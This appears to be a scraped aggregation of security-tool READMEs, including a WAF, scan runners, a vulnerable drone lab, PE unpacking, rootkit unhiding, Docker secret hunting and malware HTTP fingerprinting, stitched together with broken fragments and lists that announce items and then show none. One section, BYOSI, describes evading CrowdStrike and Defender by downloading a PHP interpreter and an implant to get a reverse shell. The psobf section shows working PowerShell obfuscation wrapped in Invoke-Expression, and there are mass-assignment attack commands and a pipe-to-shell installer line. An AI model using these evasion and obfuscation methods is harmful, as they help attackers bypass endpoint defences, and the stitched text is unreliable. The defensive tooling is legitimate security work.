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SafeLine is a self-hosted WAF(Web Application Firewall) to protect your web apps from attacks and exploits.
A web application firewall helps protect web apps by filtering and monitoring HTTP traffic between a web application and the Internet. It typically protects web apps from attacks such as SQL injection, XSS, code injection, os command injection, CRLF injection, ldap injection, xpath injection, RCE, XXE, SSRF, path traversal, backdoor, bruteforce, http-flood, bot abused, among others.
By deploying a WAF in front of a web application, a shield is placed between the web application and the Internet. While a proxy server protects a client machine's identity by using an intermediary, a WAF is a type of reverse-proxy, protecting the server from exposure by having clients pass through the WAF before reaching the server.
A WAF protects your web apps by filtering, monitoring, and blocking any malicious HTTP/S traffic traveling to the web application, and prevents any unauthorized data from leaving the app. It does this by adhering to a set of policies that help determine what traffic is malicious and what traffic is safe. Just as a proxy server acts as an intermediary to protect the identity of a client, a WAF operates in similar fashion but acting as an reverse proxy intermediary that protects the web app server from a potentially malicious client.
its core capabilities include:
Get Live Demo
List of the main features as follows:
FreshRSS Block Web AttacksSQL injection, XSS, code injection, os command injection, CRLF injection, XXE, SSRF, path traversal and so on.Rate LimitingDoS attacks, bruteforce attempts, traffic surges, and other types of abuse by throttling traffic that exceeds defined limits.Anti-Bot Challengebot attacks, humen users will be allowed, crawlers and bots will be blocked.Authentication ChallengeDynamic Protection
The following langues are wholly ignored by AV vendors including MS-Defender: - tcl - php - crystal - julia - golang - dart - dlang - vlang - nodejs - bun - python - fsharp - deno
All of these languages were allowed to completely execute, and establish a reverse shell by MS-Defender. We assume the list is even longer, given that languages such as PHP are considered "dead" languages.
The total number of vendors that are unable to scan or process just PHP file types is 14, and they are listed below:
And the total number of vendors that are unable to accurately identify malicious PHP scripts is 54, and they are listed below:
With this in mind, and the absolute shortcomings on identifying PHP based malware we came up with the theory that the 13 identified languages are also an oversight by these vendors, including CrowdStrike, Sentinel1, Palo Alto, Fortinet, etc. We have been able to identify that at the very least Defender considers these obviously malicious payloads as plaintext.
We as the maintainers, are in no way responsible for the misuse or abuse of this product. This was published for legitimate penetration testing/red teaming purposes, and for educational value. Know the applicable laws in your country of residence before using this script, and do not break the law whilst using this. Thank you and have a nice day.
In case you are seeing all of the default declarations, and wondering wtf guys. There is a reason; this was built to be more moduler for later versions. For now, enjoy the tool and feel free to post issues. They'll be addressed as quickly as possible.
secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters and security researchers.
Curated list of commands
Unified input options
Unified output schema
CLI and library usage
Distributed options with Celery
Complexity from simple tasks to complex workflows
secator integrates the following tools:
| Name | Description | Category |
|---|---|---|
| httpx | Fast HTTP prober. | http |
| cariddi | Fast crawler and endpoint secrets / api keys / tokens matcher. | http/crawler |
| gau | Offline URL crawler (Alien Vault, The Wayback Machine, Common Crawl, URLScan). | http/crawler |
| gospider | Fast web spider written in Go. | http/crawler |
| katana | Next-generation crawling and spidering framework. | http/crawler |
| dirsearch | Web path discovery. | http/fuzzer |
| feroxbuster | Simple, fast, recursive content discovery tool written in Rust. | http/fuzzer |
| ffuf | Fast web fuzzer written in Go. | http/fuzzer |
| h8mail | Email OSINT and breach hunting tool. | osint |
| dnsx | Fast and multi-purpose DNS toolkit designed for running DNS queries. | recon/dns |
| dnsxbrute | Fast and multi-purpose DNS toolkit designed for running DNS queries (bruteforce mode). | recon/dns |
| subfinder | Fast subdomain finder. | recon/dns |
| fping | Find alive hosts on local networks. | recon/ip |
| mapcidr | Expand CIDR ranges into IPs. | recon/ip |
| naabu | Fast port discovery tool. | recon/port |
| maigret | Hunt for user accounts across many websites. | recon/user |
| gf | A wrapper around grep to avoid typing common patterns. | tagger |
| grype | A vulnerability scanner for container images and filesystems. | vuln/code |
| dalfox | Powerful XSS scanning tool and parameter analyzer. | vuln/http |
| msfconsole | CLI to access and work with the Metasploit Framework. | vuln/http |
| wpscan | WordPress Security Scanner | vuln/multi |
| nmap | Vulnerability scanner using NSE scripts. | vuln/multi |
| nuclei | Fast and customisable vulnerability scanner based on simple YAML based DSL. | vuln/multi |
| searchsploit | Exploit searcher. | exploit/search |
Feel free to request new tools to be added by opening an issue, but please check that the tool complies with our selection criterias before doing so. If it doesn't but you still want to integrate it into secator, you can plug it in (see the dev guide).
pipx install secator
pip install secator
wget -O - https://raw.githubusercontent.com/freelabz/secator/main/scripts/install.sh | sh
docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator --help
alias secator="docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator"
secator --help
git clone https://github.com/freelabz/secator
cd secator
docker-compose up -d
docker-compose exec secator secator --help
Note: If you chose the Bash, Docker or Docker Compose installation methods, you can skip the next sections and go straight to Usage.
secator uses external tools, so you might need to install languages used by those tools assuming they are not already installed on your system.
We provide utilities to install required languages if you don't manage them externally:
secator install langs go
secator install langs ruby
secator does not install any of the external tools it supports by default.
We provide utilities to install or update each supported tool which should work on all systems supporting apt:
secator install tools
secator install tools <TOOL_NAME>
secator install tools httpx
Please make sure you are using the latest available versions for each tool before you run secator or you might run into parsing / formatting issues.
secator comes installed with the minimum amount of dependencies.
There are several addons available for secator:
secator install addons worker
secator install addons google
secator install addons mongodb
secator install addons redis
secator install addons dev
secator install addons trace
secator install addons build
secator makes remote API calls to https://cve.circl.lu/ to get in-depth information about the CVEs it encounters. We provide a subcommand to download all known CVEs locally so that future lookups are made from disk instead:
secator install cves
To figure out which languages or tools are installed on your system (along with their version):
secator health
secator --help
Run a fuzzing task (ffuf):
secator x ffuf http://testphp.vulnweb.com/FUZZ
Run a url crawl workflow:
secator w url_crawl http://testphp.vulnweb.com
Run a host scan:
secator s host mydomain.com
and more... to list all tasks / workflows / scans that you can use:
secator x --help
secator w --help
secator s --help
To go deeper with secator, check out: * Our complete documentation * Our getting started tutorial video * Our Medium post * Follow us on social media: @freelabz on Twitter and @FreeLabz on YouTube
The Damn Vulnerable Drone is an intentionally vulnerable drone hacking simulator based on the popular ArduPilot/MAVLink architecture, providing a realistic environment for hands-on drone hacking.
The Damn Vulnerable Drone is a virtually simulated environment designed for offensive security professionals to safely learn and practice drone hacking techniques. It simulates real-world ArduPilot & MAVLink drone architectures and vulnerabilities, offering a hands-on experience in exploiting drone systems.
The Damn Vulnerable Drone aims to enhance offensive security skills within a controlled environment, making it an invaluable tool for intermediate-level security professionals, pentesters, and hacking enthusiasts.
Similar to how pilots utilize flight simulators for training, we can use the Damn Vulnerable Drone simulator to gain in-depth knowledge of real-world drone systems, understand their vulnerabilities, and learn effective methods to exploit them.
The Damn Vulnerable Drone platform is open-source and available at no cost and was specifically designed to address the substantial expenses often linked with drone hardware, hacking tools, and maintenance. Its cost-free nature allows users to immerse themselves in drone hacking without financial concerns. This accessibility makes the Damn Vulnerable Drone a crucial resource for those in the fields of information security and penetration testing, promoting the development of offensive cybersecurity skills in a safe environment.
The Damn Vulnerable Drone platform operates on the principle of Software-in-the-Loop (SITL), a simulation technique that allows users to run drone software as if it were executing on an actual drone, thereby replicating authentic drone behaviors and responses.
ArduPilot's SITL allows for the execution of the drone's firmware within a virtual environment, mimicking the behavior of a real drone without the need for physical hardware. This simulation is further enhanced with Gazebo, a dynamic 3D robotics simulator, which provides a realistic environment and physics engine for the drone to interact with. Together, ArduPilot's SITL and Gazebo lay the foundation for a sophisticated and authentic drone simulation experience.
While the current Damn Vulnerable Drone setup doesn't mirror every drone architecture or configuration, the integrated tactics, techniques and scenarios are broadly applicable across various drone systems, models and communication protocols.
file-unpumper is a powerful command-line utility designed to clean and analyze Portable Executable (PE) files. It provides a range of features to help developers and security professionals work with PE files more effectively.
PE Header Fixing: file-unpumper can fix and align the PE headers of a given executable file. This is particularly useful for resolving issues caused by packers or obfuscators that modify the headers.
Resource Extraction: The tool can extract embedded resources from a PE file, such as icons, bitmaps, or other data resources. This can be helpful for reverse engineering or analyzing the contents of an executable.
Metadata Analysis: file-unpumper provides a comprehensive analysis of the PE file's metadata, including information about the machine architecture, number of sections, timestamp, subsystem, image base, and section details.
File Cleaning: The core functionality of file-unpumper is to remove any "pumped" or padded data from a PE file, resulting in a cleaned version of the executable. This can aid in malware analysis, reverse engineering, or simply reducing the file size.
Parallel Processing: To ensure efficient performance, file-unpumper leverages the power of parallel processing using the rayon crate, allowing it to handle large files with ease.
Progress Tracking: During the file cleaning process, a progress bar is displayed, providing a visual indication of the operation's progress and estimated time remaining.
file-unpumper is written in Rust and can be easily installed using the Cargo package manager:
cargo install file-unpumper
<INPUT>: The path to the input PE file.--fix-headers: Fix and align the PE headers of the input file.--extract-resources: Extract embedded resources from the input file.--analyze-metadata: Analyze and display the PE file's metadata.-h, --help: Print help information.-V, --version: Print version information.bash file-unpumper path/to/input.exe
bash file-unpumper --fix-headers --analyze-metadata path/to/input.exe
bash file-unpumper --extract-resources path/to/input.exe
bash file-unpumper --fix-headers --extract-resources --analyze-metadata path/to/input.exe
Contributions to file-unpumper are welcome! If you encounter any issues or have suggestions for improvements, please open an issue or submit a pull request on the GitHub repository.
The latest changelogs can be found in CHANGELOG.md
file-unpumper is released under the MIT License.
Mass Assigner is a powerful tool designed to identify and exploit mass assignment vulnerabilities in web applications. It achieves this by first retrieving data from a specified request, such as fetching user profile data. Then, it systematically attempts to apply each parameter extracted from the response to a second request provided, one parameter at a time. This approach allows for the automated testing and exploitation of potential mass assignment vulnerabilities.
This tool actively modifies server-side data. Please ensure you have proper authorization before use. Any unauthorized or illegal activity using this tool is entirely at your own risk.
Install requirements
pip3 install -r requirements.txt
Run the script
python3 mass_assigner.py --fetch-from "http://example.com/path-to-fetch-data" --target-req "http://example.com/path-to-probe-the-data"
Forbidden Buster accepts the following arguments:
-h, --help show this help message and exit
--fetch-from FETCH_FROM
URL to fetch data from
--target-req TARGET_REQ
URL to send modified data to
-H HEADER, --header HEADER
Add a custom header. Format: 'Key: Value'
-p PROXY, --proxy PROXY
Use Proxy, Usage i.e: http://127.0.0.1:8080.
-d DATA, --data DATA Add data to the request body. JSON is supported with escaping.
--rate-limit RATE_LIMIT
Number of requests per second
--source-method SOURCE_METHOD
HTTP method for the initial request. Default is GET.
--target-method TARGET_METHOD
HTTP method for the modified request. Default is PUT.
--ignore-params IGNORE_PARAMS
Parameters to ignore during modification, separated by comma.
Example Usage:
python3 mass_assigner.py --fetch-from "http://example.com/api/v1/me" --target-req "http://example.com/api/v1/me" --header "Authorization: Bearer XXX" --proxy "http://proxy.example.com" --data '{\"param1\": \"test\", \"param2\":true}'
A make an LKM rootkit visible again.
It involves getting the memory address of a rootkit's "show_module" function, for example, and using that to call it, adding it back to lsmod, making it possible to remove an LKM rootkit.
We can obtain the function address in very simple kernels using /sys/kernel/tracing/available_filter_functions_addrs, however, it is only available from kernel 6.5x onwards.
An alternative to this is to scan the kernel memory, and later add it to lsmod again, so it can be removed.
So in summary, this LKM abuses the function of lkm rootkits that have the functionality to become visible again.
OBS: There is another trick of removing/defusing a LKM rootkit, but it will be in the research that will be launched.
Evade EDR's the simple way, by not touching any of the API's they hook.
I've noticed that most EDRs fail to scan scripting files, treating them merely as text files. While this might be unfortunate for them, it's an opportunity for us to profit.
Flashy methods like residing in memory or thread injection are heavily monitored. Without a binary signed by a valid Certificate Authority, execution is nearly impossible.
Enter BYOSI (Bring Your Own Scripting Interpreter). Every scripting interpreter is signed by its creator, with each certificate being valid. Testing in a live environment revealed surprising results: a highly signatured PHP script from this repository not only ran on systems monitored by CrowdStrike and Trellix but also established an external connection without triggering any EDR detections. EDRs typically overlook script files, focusing instead on binaries for implant delivery. They're configured to detect high entropy or suspicious sections in binaries, not simple scripts.
This attack method capitalizes on that oversight for significant profit. The PowerShell script's steps mirror what a developer might do when first entering an environment. Remarkably, just four lines of PowerShell code completely evade EDR detection, with Defender/AMSI also blind to it. Adding to the effectiveness, GitHub serves as a trusted deployer.
The PowerShell script achieves EDR/AV evasion through four simple steps (technically 3):
1.) It fetches the PHP archive for Windows and extracts it into a new directory named 'php' within 'C:\Temp'.
2.) The script then proceeds to acquire the implant PHP script or shell, saving it in the same 'C:\Temp\php' directory.
3.) Following this, it executes the implant or shell, utilizing the whitelisted PHP binary (which exempts the binary from most restrictions in place that would prevent the binary from running to begin with.)
With these actions completed, congratulations: you now have an active shell on a Crowdstrike-monitored system. What's particularly amusing is that, if my memory serves me correctly, Sentinel One is unable to scan PHP file types. So, feel free to let your imagination run wild.
I am in no way responsible for the misuse of this. This issue is a major blind spot in EDR protection, i am only bringing it to everyones attention.
A big thanks to @im4x5yn74x for affectionately giving it the name BYOSI, and helping with the env to test in bringing this attack method to life.
It appears as though MS Defender is now flagging the PHP script as malicious, but still fully allowing the Powershell script full execution. so, modify the PHP script.
hello sentinel one :) might want to make sure that you are making links not embed.
Tool for obfuscating PowerShell scripts written in Go. The main objective of this program is to obfuscate PowerShell code to make its analysis and detection more difficult. The script offers 5 levels of obfuscation, from basic obfuscation to script fragmentation. This allows users to tailor the obfuscation level to their specific needs.
./psobf -h
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@TaurusOmar
v.1.0
Usage: ./obfuscator -i <inputFile> -o <outputFile> -level <1|2|3|4|5>
Options:
-i string
Name of the PowerShell script file.
-level int
Obfuscation level (1 to 5). (default 1)
-o string
Name of the output file for the obfuscated script. (default "obfuscated.ps1")
Obfuscation levels:
1: Basic obfuscation by splitting the script into individual characters.
2: Base64 encoding of the script.
3: Alternative Base64 encoding with a different PowerShell decoding method.
4: Compression and Base64 encoding of the script will be decoded and decompressed at runtime.
5: Fragmentation of the script into multiple parts and reconstruction at runtime.
go install github.com/TaurusOmar/psobf@latest
The obfuscation levels are divided into 5 options. First, you need to have a PowerShell file that you want to obfuscate. Let's assume you have a file named script.ps1 with the following content:
Write-Host "Hello, World!"
Run the script with level 1 obfuscation.
./obfuscator -i script.ps1 -o obfuscated_level1.ps1 -level 1
This will generate a file named obfuscated_level1.ps1 with the obfuscated content. The result will be a version of your script where each character is separated by commas and combined at runtime.
Result (level 1)
$obfuscated = $([char[]]("`W`,`r`,`i`,`t`,`e`,`-`,`H`,`o`,`s`,`t`,` `,`"`,`H`,`e`,`l`,`l`,`o`,`,` `,`W`,`o`,`r`,`l`,`d`,`!`,`"`") -join ''); Invoke-Expression $obfuscated
Run the script with level 2 obfuscation:
./obfuscator -i script.ps1 -o obfuscated_level2.ps1 -level 2
This will generate a file named obfuscated_level2.ps1 with the content encoded in base64. When executing this script, it will be decoded and run at runtime.
Result (level 2)
$obfuscated = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI=')); Invoke-Expression $obfuscated
Execute the script with level 3 obfuscation:
./obfuscator -i script.ps1 -o obfuscated_level3.ps1 -level 3
This level uses a slightly different form of base64 encoding and decoding in PowerShell, adding an additional layer of obfuscation.
Result (level 3)
$e = [System.Convert]::FromBase64String('V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI='); $obfuscated = [System.Text.Encoding]::UTF8.GetString($e); Invoke-Expression $obfuscated
Execute the script with level 4 obfuscation:
./obfuscator -i script.ps1 -o obfuscated_level4.ps1 -level 4
This level compresses the script before encoding it in base64, making analysis more complicated. The result will be decoded and decompressed at runtime.
Result (level 4)
$compressed = 'H4sIAAAAAAAAC+NIzcnJVyjPL8pJUQQAlRmFGwwAAAA='; $bytes = [System.Convert]::FromBase64String($compressed); $stream = New-Object IO.MemoryStream(, $bytes); $decompressed = New-Object IO.Compression.GzipStream($stream, [IO.Compression.CompressionMode]::Decompress); $reader = New-Object IO.StreamReader($decompressed); $obfuscated = $reader.ReadToEnd(); Invoke-Expression $obfuscated
Run the script with level 5 obfuscation:
./obfuscator -i script.ps1 -o obfuscated_level5.ps1 -level 5
This level fragments the script into multiple parts and reconstructs it at runtime.
Result (level 5)
$fragments = @(
'Write-',
'Output "',
'Hello,',
' Wo',
'rld!',
'"'
);
$script = $fragments -join '';
Invoke-Expression $script
This program is provided for educational and research purposes. It should not be used for malicious activities.
ModTracer Findsย Hiddenย Linuxย Kernelย Rootkits and then make visible again.
Another way to make an LKM visible is using the imperius trick: https://github.com/MatheuZSecurity/Imperius
DockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more.
Docker is an open-source platform that automates the deployment, scaling, and management of applications using containerization technology. Containers allow developers to package an application and its dependencies into a single, portable unit that can run consistently across various computing environments. Docker simplifies the development and deployment process by ensuring that applications run the same way regardless of where they are deployed.
Docker Hub is a cloud-based repository where developers can store, share, and distribute container images. It serves as the largest library of container images, providing access to both official images created by Docker and community-contributed images. Docker Hub enables developers to easily find, download, and deploy pre-built images, facilitating rapid application development and deployment.
Open Source Intelligence (OSINT) on Docker Hub involves using publicly available information to gather insights and data from container images and repositories hosted on Docker Hub. This is particularly important for identifying exposed secrets for several reasons:
Security Audits: By analyzing Docker images, organizations can uncover exposed secrets such as API keys, authentication tokens, and private keys that might have been inadvertently included. This helps in mitigating potential security risks.
Incident Prevention: Proactively searching for exposed secrets in Docker images can prevent security breaches before they happen, protecting sensitive information and maintaining the integrity of applications.
Compliance: Ensuring that container images do not expose secrets is crucial for meeting regulatory and organizational security standards. OSINT helps verify that no sensitive information is unintentionally disclosed.
Vulnerability Assessment: Identifying exposed secrets as part of regular security assessments allows organizations to address these vulnerabilities promptly, reducing the risk of exploitation by malicious actors.
Enhanced Security Posture: Continuously monitoring Docker Hub for exposed secrets strengthens an organization's overall security posture, making it more resilient against potential threats.
Utilizing OSINT on Docker Hub to find exposed secrets enables organizations to enhance their security measures, prevent data breaches, and ensure the confidentiality of sensitive information within their containerized applications.
DockerSpy obtains information from Docker Hub and uses regular expressions to inspect the content for sensitive information, such as secrets.
To use DockerSpy, follow these steps:
git clone https://github.com/UndeadSec/DockerSpy.git && cd DockerSpy && make
dockerspy
To customize DockerSpy configurations, edit the following files: - Regular Expressions - Ignored File Extensions
DockerSpy is intended for educational and research purposes only. Users are responsible for ensuring that their use of this tool complies with applicable laws and regulations.
Contributions to DockerSpy are welcome! Feel free to submit issues, feature requests, or pull requests to help improve this tool.
DockerSpy is developed and maintained by Alisson Moretto (UndeadSec)
I'm a passionate cyber threat intelligence pro who loves sharing insights and crafting cybersecurity tools.
Consider following me:
Special thanks to @akaclandestine
Reconnaissance is the first phase of penetration testing which means gathering information before any real attacks are planned So Ashok is an Incredible fast recon tool for penetration tester which is specially designed for Reconnaissance" title="Reconnaissance">Reconnaissance phase. And in Ashok-v1.1 you can find the advanced google dorker and wayback crawling machine.
- Wayback Crawler Machine
- Google Dorking without limits
- Github Information Grabbing
- Subdomain Identifier
- Cms/Technology Detector With Custom Headers
~> git clone https://github.com/ankitdobhal/Ashok
~> cd Ashok
~> python3.7 -m pip3 install -r requirements.txt
A detailed usage guide is available on Usage section of the Wiki.
But Some index of options is given below:
Ashok can be launched using a lightweight Python3.8-Alpine Docker image.
$ docker pull powerexploit/ashok-v1.2
$ docker container run -it powerexploit/ashok-v1.2 --help
A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). The outcome is useful for bug bounty hunters, red teamers, and penetration testers alike.
The complete writeup is available. here
we are always thinking of something we can automate to make black-box security testing easier. We discussed this idea of creating a multiple platform cloud brute-force hunter.mainly to find open buckets, apps, and databases hosted on the clouds and possibly app behind proxy servers.
Here is the list issues on previous approaches we tried to fix:
Microsoft: - Storage - Apps
Amazon: - Storage - Apps
Google: - Storage - Apps
DigitalOcean: - storage
Vultr: - Storage
Linode: - Storage
Alibaba: - Storage
1.0.0
Just download the latest release for your operation system and follow the usage.
To make the best use of this tool, you have to understand how to configure it correctly. When you open your downloaded version, there is a config folder, and there is a config.YAML file in there.
It looks like this
providers: ["amazon","alibaba","amazon","microsoft","digitalocean","linode","vultr","google"] # supported providers
environments: [ "test", "dev", "prod", "stage" , "staging" , "bak" ] # used for mutations
proxytype: "http" # socks5 / http
ipinfo: "" # IPINFO.io API KEY
For IPINFO API, you can register and get a free key at IPINFO, the environments used to generate URLs, such as test-keyword.target.region and test.keyword.target.region, etc.
We provided some wordlist out of the box, but it's better to customize and minimize your wordlists (based on your recon) before executing the tool.
After setting up your API key, you are ready to use CloudBrute.
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โโโ โโโ โโโ โโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโ โโโ โโโ โโโโโโ
โโโ โโโ โโโ โโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโ โโโ โโโ โโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโ โโโ โโโโโโโโ
โโโโโโโโโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโ โโโ โโโ โโโโโโโ โโโ โโโโโโโโ
V 1.0.7
usage: CloudBrute [-h|--help] -d|--domain "<value>" -k|--keyword "<value>"
-w|--wordlist "<value>" [-c|--cloud "<value>"] [-t|--threads
<integer>] [-T|--timeout <integer>] [-p|--proxy "<value>"]
[-a|--randomagent "<value>"] [-D|--debug] [-q|--quite]
[-m|--mode "<value>"] [-o|--output "<value>"]
[-C|--configFolder "<value>"]
Awesome Cloud Enumerator
Arguments:
-h --help Print help information
-d --domain domain
-k --keyword keyword used to generator urls
-w --wordlist path to wordlist
-c --cloud force a search, check config.yaml providers list
-t --threads number of threads. Default: 80
-T --timeout timeout per request in seconds. Default: 10
-p --proxy use proxy list
-a --randomagent user agent randomization
-D --debug show debug logs. Default: false
-q --quite suppress all output. Default: false
-m --mode storage or app. Default: storage
-o --output Output file. Default: out.txt
-C --configFolder Config path. Default: config
for example
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
please note -k keyword used to generate URLs, so if you want the full domain to be part of mutation, you have used it for both domain (-d) and keyword (-k) arguments
If a cloud provider not detected or want force searching on a specific provider, you can use -c option.
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt
Read the usage.
Make sure you read the usage correctly, and if you think you found a bug open an issue.
It's because you use public proxies, use private and higher quality proxies. You can use ProxyFor to verify the good proxies with your chosen provider.
change -T (timeout) option to get best results for your run.
Inspired by every single repo listed here .
Tool for Fingerprinting HTTP requests of malware. Based on Tshark and written in Python3. Working prototype stage :-)
Its main objective is to provide unique representations (fingerprints) of malware requests, which help in their identification. Unique means here that each fingerprint should be seen only in one particular malware family, yet one family can have multiple fingerprints. Hfinger represents the request in a shorter form than printing the whole request, but still human interpretable.
Hfinger can be used in manual malware analysis but also in sandbox systems or SIEMs. The generated fingerprints are useful for grouping requests, pinpointing requests to particular malware families, identifying different operations of one family, or discovering unknown malicious requests omitted by other security systems but which share fingerprint.
An academic paper accompanies work on this tool, describing, for example, the motivation of design choices, and the evaluation of the tool compared to p0f, FATT, and Mercury.
The basic assumption of this project is that HTTP requests of different malware families are more or less unique, so they can be fingerprinted to provide some sort of identification. Hfinger retains information about the structure and values of some headers to provide means for further analysis. For example, grouping of similar requests - at this moment, it is still a work in progress.
After analysis of malware's HTTP requests and headers, we have identified some parts of requests as being most distinctive. These include: * Request method * Protocol version * Header order * Popular headers' values * Payload length, entropy, and presence of non-ASCII characters
Additionally, some standard features of the request URL were also considered. All these parts were translated into a set of features, described in details here.
The above features are translated into varying length representation, which is the actual fingerprint. Depending on report mode, different features are used to fingerprint requests. More information on these modes is presented below. The feature selection process will be described in the forthcoming academic paper.
Minimum requirements needed before installation: * Python >= 3.3, * Tshark >= 2.2.0.
Installation available from PyPI:
pip install hfinger
Hfinger has been tested on Xubuntu 22.04 LTS with tshark package in version 3.6.2, but should work with older versions like 2.6.10 on Xubuntu 18.04 or 3.2.3 on Xubuntu 20.04.
Please note that as with any PoC, you should run Hfinger in a separated environment, at least with Python virtual environment. Its setup is not covered here, but you can try this tutorial.
After installation, you can call the tool directly from a command line with hfinger or as a Python module with python -m hfinger.
For example:
foo@bar:~$ hfinger -f /tmp/test.pcap
[{"epoch_time": "1614098832.205385000", "ip_src": "127.0.0.1", "ip_dst": "127.0.0.1", "port_src": "53664", "port_dst": "8080", "fingerprint": "2|3|1|php|0.6|PO|1|us-ag,ac,ac-en,ho,co,co-ty,co-le|us-ag:f452d7a9/ac:as-as/ac-en:id/co:Ke-Al/co-ty:te-pl|A|4|1.4"}]
Help can be displayed with short -h or long --help switches:
usage: hfinger [-h] (-f FILE | -d DIR) [-o output_path] [-m {0,1,2,3,4}] [-v]
[-l LOGFILE]
Hfinger - fingerprinting malware HTTP requests stored in pcap files
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE Read a single pcap file
-d DIR, --directory DIR
Read pcap files from the directory DIR
-o output_path, --output-path output_path
Path to the output directory
-m {0,1,2,3,4}, --mode {0,1,2,3,4}
Fingerprint report mode.
0 - similar number of collisions and fingerprints as mode 2, but using fewer features,
1 - representation of all designed features, but a little more collisions than modes 0, 2, and 4,
2 - optimal (the default mode),
3 - the lowest number of generated fingerprints, but the highest number of collisions,
4 - the highest fingerprint entropy, but slightly more fingerprints than modes 0-2
-v, --verbose Report information about non-standard values in the request
(e.g., non-ASCII characters, no CRLF tags, values not present in the configuration list).
Without --logfile (-l) will print to the standard error.
-l LOGFILE, --logfile LOGFILE
Output logfile in the verbose mode. Implies -v or --verbose switch.
You must provide a path to a pcap file (-f), or a directory (-d) with pcap files. The output is in JSON format. It will be printed to standard output or to the provided directory (-o) using the name of the source file. For example, output of the command:
hfinger -f example.pcap -o /tmp/pcap
will be saved to:
/tmp/pcap/example.pcap.json
Report mode -m/--mode can be used to change the default report mode by providing an integer in the range 0-4. The modes differ on represented request features or rounding modes. The default mode (2) was chosen by us to represent all features that are usually used during requests' analysis, but it also offers low number of collisions and generated fingerprints. With other modes, you can achieve different goals. For example, in mode 3 you get a lower number of generated fingerprints but a higher chance of a collision between malware families. If you are unsure, you don't have to change anything. More information on report modes is here.
Beginning with version 0.2.1 Hfinger is less verbose. You should use -v/--verbose if you want to receive information about encountered non-standard values of headers, non-ASCII characters in the non-payload part of the request, lack of CRLF tags (\r\n\r\n), and other problems with analyzed requests that are not application errors. When any such issues are encountered in the verbose mode, they will be printed to the standard error output. You can also save the log to a defined location using -l/--log switch (it implies -v/--verbose). The log data will be appended to the log file.
Beginning with version 0.2.0, Hfinger supports importing to other Python applications. To use it in your app simply import hfinger_analyze function from hfinger.analysis and call it with a path to the pcap file and reporting mode. The returned result is a list of dicts with fingerprinting results.
For example:
from hfinger.analysis import hfinger_analyze
pcap_path = "SPECIFY_PCAP_PATH_HERE"
reporting_mode = 4
print(hfinger_analyze(pcap_path, reporting_mode))
Beginning with version 0.2.1 Hfinger uses logging module for logging information about encountered non-standard values of headers, non-ASCII characters in the non-payload part of the request, lack of CRLF tags (\r\n\r\n), and other problems with analyzed requests that are not application errors. Hfinger creates its own logger using name hfinger, but without prior configuration log information in practice is discarded. If you want to receive this log information, before calling hfinger_analyze, you should configure hfinger logger, set log level to logging.INFO, configure log handler up to your needs, add it to the logger. More information is available in the hfinger_analyze function docstring.
A fingerprint is based on features extracted from a request. Usage of particular features from the full list depends on the chosen report mode from a predefined list (more information on report modes is here). The figure below represents the creation of an exemplary fingerprint in the default report mode.
Three parts of the request are analyzed to extract information: URI, headers' structure (including method and protocol version), and payload. Particular features of the fingerprint are separated using | (pipe). The final fingerprint generated for the POST request from the example is:
2|3|1|php|0.6|PO|1|us-ag,ac,ac-en,ho,co,co-ty,co-le|us-ag:f452d7a9/ac:as-as/ac-en:id/co:Ke-Al/co-ty:te-pl|A|4|1.4
The creation of features is described below in the order of appearance in the fingerprint.
Firstly, URI features are extracted: * URI length represented as a logarithm base 10 of the length, rounded to an integer, (in the example URI is 43 characters long, so log10(43)โ2), * number of directories, (in the example there are 3 directories), * average directory length, represented as a logarithm with base 10 of the actual average length of the directory, rounded to an integer, (in the example there are three directories with total length of 20 characters (6+6+8), so log10(20/3)โ1), * extension of the requested file, but only if it is on a list of known extensions in hfinger/configs/extensions.txt, * average value length represented as a logarithm with base 10 of the actual average value length, rounded to one decimal point, (in the example two values have the same length of 4 characters, what is obviously equal to 4 characters, and log10(4)โ0.6).
Secondly, header structure features are analyzed: * request method encoded as first two letters of the method (PO), * protocol version encoded as an integer (1 for version 1.1, 0 for version 1.0, and 9 for version 0.9), * order of the headers, * and popular headers and their values.
To represent order of the headers in the request, each header's name is encoded according to the schema in hfinger/configs/headerslow.json, for example, User-Agent header is encoded as us-ag. Encoded names are separated by ,. If the header name does not start with an upper case letter (or any of its parts when analyzing compound headers such as Accept-Encoding), then encoded representation is prefixed with !. If the header name is not on the list of the known headers, it is hashed using FNV1a hash, and the hash is used as encoding.
When analyzing popular headers, the request is checked if they appear in it. These headers are: * Connection * Accept-Encoding * Content-Encoding * Cache-Control * TE * Accept-Charset * Content-Type * Accept * Accept-Language * User-Agent
When the header is found in the request, its value is checked against a table of typical values to create pairs of header_name_representation:value_representation. The name of the header is encoded according to the schema in hfinger/configs/headerslow.json (as presented before), and the value is encoded according to schema stored in hfinger/configs directory or configs.py file, depending on the header. In the above example Accept is encoded as ac and its value */* as as-as (asterisk-asterisk), giving ac:as-as. The pairs are inserted into fingerprint in order of appearance in the request and are delimited using /. If the header value cannot be found in the encoding table, it is hashed using the FNV1a hash.
If the header value is composed of multiple values, they are tokenized to provide a list of values delimited with ,, for example, Accept: */*, text/* would give ac:as-as,te-as. However, at this point of development, if the header value contains a "quality value" tag (q=), then the whole value is encoded with its FNV1a hash. Finally, values of User-Agent and Accept-Language headers are directly encoded using their FNV1a hashes.
Finally, in the payload features: * presence of non-ASCII characters, represented with the letter N, and with A otherwise, * payload's Shannon entropy, rounded to an integer, * and payload length, represented as a logarithm with base 10 of the actual payload length, rounded to one decimal point.
